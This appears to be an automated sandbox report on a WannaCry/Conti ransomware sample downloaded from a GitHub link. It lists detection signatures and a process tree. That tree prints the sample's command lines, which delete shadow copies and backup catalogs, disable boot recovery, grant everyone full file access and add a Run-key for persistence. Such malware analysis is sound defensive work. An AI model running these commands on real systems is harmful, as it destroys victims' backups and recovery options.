Edit tour

Windows Analysis Report
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip

Overview

General Information

Sample URL:	https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip
Analysis ID:	1414487
Infos:

Detection

Conti, Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Add file from suspicious location to autostart registry

Sigma detected: Delete shadow copy via WMIC

Yara detected Conti ransomware

Yara detected Wannacry ransomware

Blob-based file download detected

Command shell drops VBS files

Creates files in the recycle bin to hide itself

Deletes shadow drive data (may be related to ransomware)

Downloads suspicious files via Chrome

Drops PE files to the document folder of the user

Drops password protected ZIP file

Found Tor onion address

Installs TOR (Internet Anonymizer)

May use the Tor software to hide its network traffic

Modifies existing user documents (likely ransomware behavior)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Tries to harvest and steal browser information (history, passwords, etc)

Uses bcdedit to modify the Windows boot settings

Uses cmd line tools excessively to alter registry or file data

Writes many files with high entropy

Writes to foreign memory regions

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML page contains hidden URLs or javascript code

HTTP GET or POST without a user agent

Installs a Chrome extension

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: File Download From Browser Process Via Inline URL

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Too many similar processes found

Tries to load missing DLLs

Uses cacls to modify the permissions of files

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=1968,i,18163136596310937086,2943385894762523011,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

rundll32.exe (PID: 3928 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe (PID: 7412 cmdline: "C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe" MD5: 84C82835A5D21BBCF75A61706D8AB549)

attrib.exe (PID: 7436 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 7444 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskdl.exe (PID: 7572 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7596 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

cmd.exe (PID: 7620 cmdline: C:\Windows\system32\cmd.exe /c 58191711205328.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cscript.exe (PID: 7676 cmdline: cscript.exe //nologo m.vbs MD5: CB601B41D4C8074BE8A84AED564A94DC)

taskdl.exe (PID: 7704 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7736 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7756 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7780 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7800 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7820 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7840 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

dllhost.exe (PID: 7856 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

taskdl.exe (PID: 7900 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7944 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7964 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7984 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8004 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8024 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8040 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8064 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8084 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8104 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8128 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8156 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8172 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8188 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1288 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1764 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5712 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2212 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3312 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5228 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6456 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1776 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7372 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6176 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6904 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7368 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2036 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1176 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5288 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1144 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4004 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3960 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3840 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2424 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 1956 cmdline: @WanaDecryptor@.exe co MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskhsvc.exe (PID: 3340 cmdline: TaskData\Tor\taskhsvc.exe MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1868 cmdline: cmd.exe /c start /b @WanaDecryptor@.exe vs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

@WanaDecryptor@.exe (PID: 2576 cmdline: @WanaDecryptor@.exe vs MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 4428 cmdline: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7724 cmdline: wmic shadowcopy delete MD5: E2DE6500DE1148C7F6027AD50AC8B891)

taskdl.exe (PID: 3632 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2272 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 3408 cmdline: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 3636 cmdline: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

taskdl.exe (PID: 3644 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3560 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3568 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

consent.exe (PID: 7456 cmdline: consent.exe 5728 686 000001FA36427DE0 MD5: DD5032EF160209E470E2612A8A3D5F59)

svchost.exe (PID: 5728 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

@WanaDecryptor@.exe (PID: 7464 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7452 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3956 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7528 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4136 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4372 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7588 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4712 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7708 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7732 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7680 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7672 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7660 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7772 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7792 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7800 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4516 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4124 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 4016 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1976 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7828 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

VSSVC.exe (PID: 7896 cmdline: C:\Windows\system32\vssvc.exe MD5: 875046AD4755396636A68F4A9EDB22A4)

@WanaDecryptor@.exe (PID: 7924 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7956 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7964 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 8056 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 8080 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 8100 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 8120 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7340 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 8128 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 8168 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 8172 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7196 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3948 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6520 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3496 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2216 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5916 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7324 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7344 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1788 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7332 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5084 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2864 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 5772 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3056 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2840 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7556 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7380 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6648 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4216 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5388 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2036 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1108 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4008 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4248 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3612 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4004 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3960 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3840 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3604 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3044 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1908 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4680 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2064 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3408 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3644 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 3712 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3560 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7500 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7532 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4284 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7460 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4608 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7444 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7456 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4372 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6140 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7588 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7736 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7684 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 6208 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5768 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 2576 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7676 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7664 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7760 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7768 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7804 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3344 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 5128 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1500 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 4124 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4780 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7832 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7848 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7960 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7928 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 8000 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7956 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5140 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 680 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7696 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3616 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 8048 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 2924 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7600 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7612 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 8100 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7628 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3868 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 6480 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 8164 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 8172 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5508 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 408 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 1360 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1764 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 816 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

@WanaDecryptor@.exe (PID: 7328 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2212 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7068 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
